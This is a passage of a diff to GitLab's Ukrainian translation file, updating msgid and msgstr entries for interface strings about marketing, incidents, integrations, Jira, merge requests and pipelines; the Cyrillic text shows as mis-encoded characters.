msgid "InProductMarketing|Expand your DevOps journey with a free GitLab trial"
msgstr ""
msgid "InProductMarketing|Explore GitLab CI/CD"
-msgstr ""
+msgstr "ОзнайомтеÑÑ Ð· GitLab CI/CD"
msgid "InProductMarketing|Explore the options"
msgstr ""
@@ -17955,7 +18293,7 @@ msgid "InProductMarketing|Explore the power of GitLab CI/CD"
msgstr ""
msgid "InProductMarketing|Facebook"
-msgstr ""
+msgstr "Facebook"
msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
msgstr ""
@@ -17976,7 +18314,7 @@ msgid "InProductMarketing|Get going with CI/CD quickly using our %{quick_start_l
msgstr ""
msgid "InProductMarketing|Get our import guides"
-msgstr ""
+msgstr "Отримайте наші поÑібники з імпорту"
msgid "InProductMarketing|Get started today"
msgstr ""
@@ -17988,16 +18326,16 @@ msgid "InProductMarketing|Get started with GitLab CI/CD"
msgstr ""
msgid "InProductMarketing|Get to know GitLab CI/CD"
-msgstr ""
+msgstr "ОзнайомтеÑÑ Ð· GitLab CI/CD"
msgid "InProductMarketing|Get your team set up on GitLab"
msgstr ""
msgid "InProductMarketing|Git basics"
-msgstr ""
+msgstr "ОÑнови Git"
msgid "InProductMarketing|GitHub Enterprise projects to GitLab"
-msgstr ""
+msgstr "GitHub Enterprise Ð´Ð»Ñ GitLab"
msgid "InProductMarketing|GitLab is better with teammates to help out!"
msgstr ""
@@ -18329,14 +18667,17 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr "Ð’ÑÑ–"
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
msgstr ""
msgid "IncidentManagement|Closed"
-msgstr ""
+msgstr "Закрито"
msgid "IncidentManagement|Create incident"
msgstr ""
@@ -18494,9 +18835,6 @@ msgstr "Вказати ім'Ñ Ð°Ð²Ñ‚Ð¾Ñ€Ð° в тілі ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð¿Ð
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr "Додайте Ð¾Ð¿Ð¸Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на злиттÑ"
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18560,6 +18898,9 @@ msgstr "ІнфраÑтруктура"
msgid "Infrastructure Registry"
msgstr "РеєÑÑ‚Ñ€ інфраÑтруктури"
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr "Копіювати команду Terraform"
@@ -18777,12 +19118,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr "Увімкнути коментарі"
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18900,6 +19247,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr "Ви ще не активували жодної інтеграції."
@@ -18915,6 +19265,12 @@ msgstr "Ви активували кожну інтеграцію 🎉"
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr "Інтерактивний режим"
@@ -18945,7 +19301,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Шаблон інтервалу"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19002,8 +19361,8 @@ msgstr "Ðеправильний логін або пароль"
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
-msgstr "Ðеправильний PIN-код"
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr "Ðекоректна назва pod_name"
@@ -19140,24 +19499,21 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr "Ðалаштувати CI/CD"
-
-msgid "InviteMembersModal|Configure security features"
-msgstr "Ðалаштувати функції безпеки"
-
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
+msgstr ""
+
msgid "InviteMembersModal|Invite"
msgstr "ЗапроÑити"
@@ -19170,9 +19526,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr "Інші"
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19191,9 +19544,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19380,6 +19730,9 @@ msgstr "Задачі"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr "Мітка задачі"
@@ -19455,6 +19808,9 @@ msgstr "ДеÑкі з ваших дошок Ñ” прихованими, актиÐ
msgid "IssueBoards|Switch board"
msgstr "Перемкнути дошку"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr "ВлаÑний реєÑÑ‚Ñ€ задач"
@@ -19512,16 +19868,13 @@ msgstr ""
msgid "Issues"
msgstr "Задачі"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñтоти задач"
msgid "Issues and merge requests"
msgstr "Задачі та запити на злиттÑ"
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19530,9 +19883,6 @@ msgstr "Задачі можуть бути помилками, нагадуваÐ
msgid "Issues closed"
msgstr "Задачі закриті"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19626,6 +19976,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19635,6 +19988,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19731,9 +20087,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr "Заголовок"
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19758,9 +20120,6 @@ msgstr "Ñічень"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr "Показати Ñ–Ð¼Ê¼Ñ Jira"
@@ -19869,18 +20228,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Події Ð´Ð»Ñ %{noteable_model_name} вимкнені."
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19899,18 +20249,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr "СпиÑок задач"
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr "URL-адреÑа Jira API"
-msgid "JiraService|Jira Issues"
-msgstr "Задачі Jira"
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19920,6 +20264,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr "Ключ проєкту Jira"
@@ -19929,12 +20276,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr "Відкрити Jira"
@@ -19965,9 +20306,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20265,6 +20603,9 @@ msgstr "Ключі"
msgid "Ki"
msgstr "Ki"
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr "Kroki"
@@ -20429,7 +20770,7 @@ msgid "Last Activity"
msgstr ""
msgid "Last Name"
-msgstr ""
+msgstr "Прізвище"
msgid "Last Pipeline"
msgstr "ОÑтанній Конвеєр"
@@ -20611,7 +20952,7 @@ msgstr "Докладніше про шаблони проєктів на рівÐ
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20716,6 +21057,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20761,6 +21105,9 @@ msgstr ""
msgid "License Compliance"
msgstr "ВідповідніÑÑ‚ÑŒ ліцензіÑм"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr "Файл ліцензії"
@@ -20911,9 +21258,6 @@ msgstr "ВиÑвлено в проєкті"
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr "ВиÑвлено ліцензії з невідповідніÑÑ‚ÑŽ до призначених політик проєкту"
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20941,15 +21285,15 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr "СпиÑок ліцензій міÑтить детальну інформацію про Ñ‚Ñ–, Ñкі викориÑтовуютьÑÑ Ñƒ вашому проєкті."
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
+msgstr ""
+
msgid "Licenses|View license details for your project"
msgstr "ПереглÑд деталей ліцензії Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ проєкту"
msgid "Limit display of time tracking units to hours."
msgstr "Обмежити Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð¾Ð´Ð¸Ð½Ð¸Ñ†ÑŒ відÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñу до годин."
-msgid "Limit namespaces and projects that can be indexed"
-msgstr "Обмежити проÑтори імен та проєкти Ñкі можуть бути проіндекÑовані"
-
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
msgstr ""
@@ -20965,6 +21309,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21182,7 +21529,7 @@ msgstr "MD5"
msgid "MERGED"
msgstr "ЗЛИТО"
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21263,7 +21610,7 @@ msgstr "Керувати вÑіма ÑповіщеннÑми"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Керувати програмами, Ñкі можуть викориÑтовувати GitLab Ñк поÑтачальника OAuth, а також програми, Ñким ви Ñамі дозволили викориÑтовувати в вашому обліковому запиÑÑ–."
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21476,6 +21823,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21494,6 +21844,9 @@ msgstr "МакÑимальна кількіÑÑ‚ÑŒ кориÑтувачів"
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr "МакÑимально допуÑтимий термін дії токена перÑонального доÑтупу (днів)"
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21701,9 +22054,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21866,6 +22216,12 @@ msgstr "Запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¾Ð±'єднано"
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21881,6 +22237,9 @@ msgstr ""
msgid "Merge commit message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ-злиттÑ"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Події злиттÑ"
@@ -21926,22 +22285,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Запити на злиттÑ"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ â€” це ÑпоÑіб запропонувати Ñвої зміни до проєкту Ñ– обговорити Ñ—Ñ… із іншими"
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr "Запити на об'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупні лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ Ð½Ð° вторинному вузлі Geo"
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22061,6 +22411,18 @@ msgstr "розпочато Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ %{linkStart}%{com
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22670,7 +23032,7 @@ msgid "Mirroring settings were successfully updated."
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ Ð±ÑƒÐ»Ð¸ уÑпішно змінені."
msgid "Mirroring settings were successfully updated. The project is being updated."
-msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ Ð±ÑƒÐ»Ð¸ уÑпішно змінені. Проект оновлюєтьÑÑ."
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ Ð±ÑƒÐ»Ð¸ уÑпішно змінені. Проєкт оновлюєтьÑÑ."
msgid "Mirroring was successfully disabled."
msgstr "Ð’Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ ÑƒÑпішно вимкнено."
@@ -22702,6 +23064,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "Більше не показувати"
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22955,9 +23320,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23010,7 +23372,7 @@ msgid "Network"
msgstr "Мережа"
msgid "Network:"
-msgstr ""
+msgstr "Мережа:"
msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
msgstr ""
@@ -23108,9 +23470,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23135,6 +23494,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23340,6 +23702,9 @@ msgstr "Ðовий запит на злиттÑ"
msgid "New milestone"
msgstr "Ðовий етап"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "Ðовий пароль"
@@ -23376,6 +23741,9 @@ msgstr "Згенеровано новий реєÑтраційний токен
msgid "New schedule"
msgstr "Ðовий Розклад"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Ðовий Ñніпет"
@@ -23571,6 +23939,9 @@ msgstr "Ðе знайдено жодного файлу."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr "Без групуваннÑ"
@@ -23619,9 +23990,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "Ðе знайдено жодного запиту на злиттÑ"
@@ -23664,6 +24041,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "Ðемає публічних груп"
@@ -23685,6 +24065,9 @@ msgstr "Runner'ів не знайдено"
msgid "No schedules"
msgstr "Ðемає розкладів"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23782,6 +24165,9 @@ msgstr "ÐедоÑтупно Ð´Ð»Ñ Ð·Ð°Ñ…Ð¸Ñ‰ÐµÐ½Ð¸Ñ… гілок"
msgid "Not confidential"
msgstr "Ðе конфіденційно"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr "Ðе знайдено."
@@ -23922,7 +24308,7 @@ msgid "NotificationEvent|Merge merge request"
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð¾"
msgid "NotificationEvent|Merge when pipeline succeeds"
-msgstr ""
+msgstr "Об'єднати, Ñкщо конвеєр пройде уÑпішно"
msgid "NotificationEvent|Moved project"
msgstr ""
@@ -24005,7 +24391,7 @@ msgstr "Тепер, перÑоналізуйте Ñвій доÑвід GitLab"
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24161,7 +24547,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24245,6 +24631,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24335,19 +24727,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24369,6 +24761,12 @@ msgstr[1] "Ще %d елементи"
msgstr[2] "Ще %d елементів"
msgstr[3] "Ще %d елементів"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr "Одна або декілька груп, до Ñких ви не маєте доÑтупу."
@@ -24408,6 +24806,9 @@ msgstr "Тільки адмініÑтратори можуть видалÑти
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24429,6 +24830,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24447,7 +24851,7 @@ msgstr "Відкриті"
msgid "Open Selection"
msgstr "Відкрити виділеннÑ"
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24625,7 +25029,7 @@ msgid "PQL|By providing my contact information, I agree GitLab may contact me vi
msgstr ""
msgid "PQL|Cancel"
-msgstr ""
+msgstr "СкаÑувати"
msgid "PQL|Contact our Sales team"
msgstr ""
@@ -24687,6 +25091,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24917,7 +25324,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
-msgstr ""
+msgstr "Пакет оновлено через коміт %{link} в гілці %{branch}, побудований через конвеєр %{pipeline}та опублікований в реєÑÑ‚Ñ€ %{datetime}"
msgid "PackageRegistry|Pip Command"
msgstr "Команда pip"
@@ -25045,6 +25452,9 @@ msgstr "Сторінку не знайдено"
msgid "Page settings"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñторінки"
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25141,9 +25551,6 @@ msgstr ""
msgid "Password"
msgstr "Пароль"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr "Пароль (необов'Ñзково)"
@@ -25396,6 +25803,12 @@ msgstr "Конвеєр %{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr "Конвеєр %{label} Ð´Ð»Ñ \"%{dataTitle}\""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr "Ідентифікатор конвеєра"
@@ -25445,7 +25858,7 @@ msgid "PipelineCharts|An error has occurred when retrieving the pipelines data"
msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð±Ñ€Ð¾Ð±ÐºÐ¸ аналітики CI/CD ÑталаÑÑŒ невідома помилка."
msgid "PipelineCharts|CI/CD Analytics"
msgstr "Ðналітика CI/CD"
@@ -25711,9 +26124,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr "Більше інформації"
-msgid "Pipelines|No artifacts available"
-msgstr "Ðемає доÑтупних артефактів"
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25843,6 +26253,9 @@ msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ ÑÑ‚Ð°Ñ‚ÑƒÑ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ð°. Дл
msgid "Pipeline|Created"
msgstr "Створено"
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr "Дата"
@@ -25858,9 +26271,6 @@ msgstr "Ðевдало"
